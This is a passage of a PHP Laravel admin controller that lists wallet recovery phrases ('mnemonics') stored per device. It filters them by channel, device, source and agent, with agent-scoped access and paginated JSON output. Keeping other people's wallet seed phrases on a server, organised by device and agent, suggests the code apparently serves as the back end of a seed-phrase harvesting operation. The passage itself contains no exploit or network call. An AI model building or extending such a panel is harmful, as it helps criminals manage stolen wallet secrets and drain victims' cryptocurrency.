isAgentPortal() ? collect() : User::query()->orderBy('username')->get(['id', 'username']); $sources = WalletMnemonic::query() ->whereNotNull('source') ->where('source', '!=', '') ->distinct() ->orderBy('source') ->pluck('source'); return view('admin.mnemonics.index', [ 'portal' => $this->portal(), 'agents' => $agents, 'sources' => $sources, ]); } public function data(Request $request) { $q = $this->baseQuery($request); $sortable = ['id', 'source', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'id'; } $q->orderBy('wallet_mnemonics.'.$field, $order); $limit = max(1, min(100, (int) $request->query('limit', 15))); $page = max(1, (int) $request->query('page', 1)); $paginator = $q->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function ($row) use ($portal) { return [ 'id' => $row->id, 'device_key' => $row->device_key ?: '', 'channel_id' => $row->device_channel_id ?: '', 'source' => $row->source ?: '', 'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $row->device_id), ]; })->values(); return response()->json([ 'code' => 0, 'msg' => '', 'count' => $paginator->total(), 'data' => $data, ]); } private function baseQuery(Request $request): Builder { $q = WalletMnemonic::query() ->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id') ->select([ 'wallet_mnemonics.*', 'devices.device_id as device_key', 'devices.channel_id as device_channel_id', ]); AgentScope::applyDeviceChannelScope($q, $this->agent()); $channelId = trim((string) $request->query('channel_id', '')); $deviceKey = trim((string) $request->query('device_key', '')); $source = trim((string) $request->query('source', '')); $agentUserId = (int) $request->query('agent_user_id', 0); if ($channelId !== '') { $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); } if ($deviceKey !== '') { $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); } if ($source !== '') { $q->where('wallet_mnemonics.source', $source); } if (! $this->isAgentPortal() && $agentUserId > 0) { AgentScope::applyAgentUserFilter($q, $agentUserId); } return $q; } }